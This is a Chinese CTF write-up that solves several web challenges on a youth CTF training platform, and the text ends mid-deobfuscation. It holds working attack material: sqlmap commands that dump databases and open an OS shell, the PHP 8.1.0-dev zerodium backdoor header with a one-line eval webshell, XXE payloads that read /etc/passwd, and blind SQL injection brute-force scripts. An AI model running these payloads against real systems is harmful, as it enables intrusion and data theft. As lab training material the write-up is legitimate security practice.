[青少年CTF训练平台]web部分题解（已完结！）

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首先打开环境(>ω<｡人)ZZz♪♪

既然要做题，就要做全面了，图上说了，既然有假flag我就先找出来：

假flag：

打开vmware，使用sqlmap进行处理：

sqlmap -u http://challenge.qsnctf.com:31645/?id=1 --dbs

记得中间的url换成自己的

看到了六个可能：

{*] ctftraining
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] word

那就挨个读取，利用指令

sqlmap -u http://challenge.qsnctf.com:31645/?id=1 -D ctftraining -T test --dump

”ctftraining“改为上述文件夹进行尝试最终得到

好的，得到了假flag了♪（⌒∇⌒）ﾉ""

真flag：

同样打开kali，对sqlmap进行修改代码

sqlmap -u "http://challenge.qsnctf.com:32030/?id=1" --os-shell

进行执行：

进行寻找：

查找一下flag：

find / -name "flag"

看到了，调取：

cat /flag

OK，拿到了  (*˘︶˘*).｡.:*♡

qsnctf{5a73aa45b44b409a815a4051428a3e11}

Robots

打开题目环境：

既然提示了Robots.txt那就访问一下呗：

http://challenge.qsnctf.com:32422/robots.txt

看到了有个什么什么的.php

http://challenge.qsnctf.com:32422/f1ag_1n_the_h3re.php

得到flag：

qsnctf{ed8c1a488b4e4304b89c01531d41b99c}

黑客终端

打开环境

ok尝试一下指令，看看是不是SQL一类的

ls

方法一：

有东西，直接抓一下试试

cat /flag

啊这？这么简陋好吧

方法二：

再看看源码：F12按一下，再ctrl f搜索一下

再次得到，好的，看着很酷炫的花架子结束=.=

qsnctf{e681d8444f8542aa8e0842d6f77e4c80}

此地无银三百两

看到环境写了“此地无银三百两”这类的话术，那就找找看：

CTRL u或者F12都可以，打开后CTRL f搜索：

直接发现flag，这里在思考是不是出题漏洞，因为和上一题太像了，一般不会这么出题，当时尝试一下别的方式，结果发现，最快最优就是这个解题方式，当然不嫌麻烦的师傅可以用bp抓包进行操作，效果差不多。

qsnctf{0fc8582b97874db0bfb98d4449884494}

EasyMD5

作者随笔：我使用的是青少年ctf平台（废话，标题都是），这道题加载速度不知道为什么很慢，再加载过程中我看到了google的访问需求可能是这个原因导致，所以不是环境问题，只是慢，做的时候打开耐心等待一会儿就好了  0.o

打开以后看到了DT 的快乐吟唱

题目是md5，所以和这个跑不了关系，那就直接文件里边加入内容MD5值是php 弱等于的判断就行，从哪个口上传无所谓的：

大：s878926199a
小：s155964671a

完成后发现要PDF格式（嘤嘤嘤，DT大神竟然生气让我滚）T.T

方法一：（会在出flag后网站报错，操作简单但是出flag要手速截图）

那就改一下格式重新上传

出了，但是靶机会在出flag后闪进报错，试了很多遍都是这样，最后确认不是自己的问题以后去找了下出题人找到原因：”做了重定向，入口有问题“。拷打完出题人找了一下解决方案，用bp抓包做题。

方法二：（操作难一点，需要bp基础，解决了闪报错网址问题）

上述步骤不变，上传文件时bp抓包

获取以后直接发包就可以了，flag在最下边，你也可以不改原文件的格式在bp里改成pdf

得到flag 嘻嘻

qsnctf{dd180d8feb104557b7ecfd87385d33fa}

PHP的后门

打开环境后看到了个提示注意php版本

这样的话就要看一眼了，使用bp进行抓包，看到了版本号是8.1.0-dev

打开百度搜索什么后门能用，得到答案是：User-Agentt: zerodiumfile_put_contents('indes.php','<?php eval($_POST["xx11"]);?>');类似这段代码可以复写字母后写入想植入的代码

直接在bp中操作放入：

User-Agentt: zerodiumsystem("cat /flag");

得到flag：

qsnctf{3812e3ff73934f4a8c3c6ce1966fa37b}

需要注意的是括号内可以修改指令，你也可以使用“一句话木马”“ls”等等一系列代码加入蚁剑进行操作，这里就不展示了。=.=

PHP的XXE

开启环境以后发现直接是phpinfo上界面，结合题干告诉我要用xml的内容，先所搜xml好了：ctrl f xml

看到了版本是2.8，这个版本下有一篇博客有详细解释，这里放在这里：=.=

那么就开始操作，先抓包：

然后拿着下边代码是科普博客的注解，放了注释给大家，最好还是看一下这个漏洞是什么，跳转链接在上边“=.=”这个里边

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

/*
1.读取任意文件
file 协议，file:///etc//passwd
php 协议，php://filter/read=convert.base64-encode/resource=index.php
2.执行系统命令
PHP环境中PHP的expect模块被加载
expect://ipconfig
3.内网探测
http：//192.168.0.128:80
参见：https://xz.aliyun.com/t/3357#toc-11
*/

首先修改http后的代码，触发bug：

GET /simplexml_load_string.php HTTP/1.1

然后带入下边的一把梭的本题代码：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>

得到flag：

qsnctf{c786d4cb0d5647a3a3ddd7103e3ab964}

bp操作的两步记得分开进行，先触发bug，再一把梭，不然可能无回响哦。。。。

Easy_SQLi

打开环境看了一下，只有类似弱口令这样子的login端口，但是题目却叫做sqli，一时间我没找到类似于：“id=1”一类的keyword，所以呢还是先尝试弱口令：

ok，打开bp

选择类似图中绿色块中用“§”修改，分别爆破，我这里没有使用混合爆破，主要是因为自己的老年电脑实在算不动混合爆破的数字量，这里我算出来的答案是“admin”和“123456”。

因为我这里是边做边写wp，所以并不清楚这道题的密码会不会因为每次开靶机的不同发生变化，也就是有没有加入弱口令的动态密码，所以，请师傅不要直接复制粘贴密码，按着操作来一遍，效果一致^_^。

这里可以使用自己的密码本，如果有新师傅没有密码本可以私信给我，我给师傅们发我的密码本

登陆成功！

接下来复制url放进脚本，这里送两个类型题脚本，可以根据自己电脑情况选择：】

格式：登陆界面url+/login.php

脚本1：（吃配置，快）

import requests
import time
url = ""#网站放这里
flag = ""
for num in range(1,100):
    for i in range(33,127) :
        data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}
        res = requests.post(url = url, data = data)
        time.sleep(0.05)
        if res.text == "Login successful" :
            flag += chr(i)
            break
print(flag)        

脚本2：（不吃配置，慢慢破）‘

import requests

url = ''#这里放url
res = ""

for i in range(1, 48, 1):
    for j in range(32, 128, 1):
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
        payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"
        data = {
            'uname': "admin' and "+payload,
            'psw':123456
        }
        try:
            r = requests.post(url=url, data=data,timeout=0.2)
        except Exception as e:
            continue

        res += chr(j)
        print(res)
        break

得到flag：

qsnctf{145435737e6c460abcab2d93e2d46c7d}

雏形系统

打开环境后映入眼帘的是登陆系统，那就像之前一样考虑sql 以及弱口令：

结果折腾半天啥也没有，这是一个可修改的界面，那没办法了试一试dirsearch扫描：

kali启动！

dirsearch -u http://challenge.qsnctf.com:32147/ -e all//中间替换成自己的url

扫面到了www.zip

那可以直接打开了：

解压以后出现两个文件，看过以后robots.txt里边没东西直接打开“qsnctf.php”就可以了

qsnctf.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            padding: 20px;
        }

        .container {
            max-width: 400px;
            margin: 0 auto;
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        .alert {
            padding: 10px;
            background-color: #f8d7da;
            color: #721c24;
            border-radius: 5px;
            margin-bottom: 10px;
        }

        form {
            margin-bottom: 20px;
        }

        form input[type="text"],
        form input[type="password"],
        form input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }

        form input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            border: none;
            cursor: pointer;
        }
    </style>
</head>

<body>
<div class="container">
    <h1>Welcome to the login testing page!</h1>
    <hr>
    <?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>
    <form method="POST">
        <input type="text" name="username" placeholder="Username" required>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
    </form>

</div>
</body>

</html>

审计完以后，去掉无用的图层一系列代码，剩下用的就是

<?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>
    

打眼一看混淆，考的还挺新的，给大家送一个博客，我只讲这题。。。0.0“奇安信攻防社区-phpjm混淆解密浅谈”

先把qsnctf.php的eval改成echo

<?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    echo($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>

得出这个乱七八糟的东西：

$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?>

替换：

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
    .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
    .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCx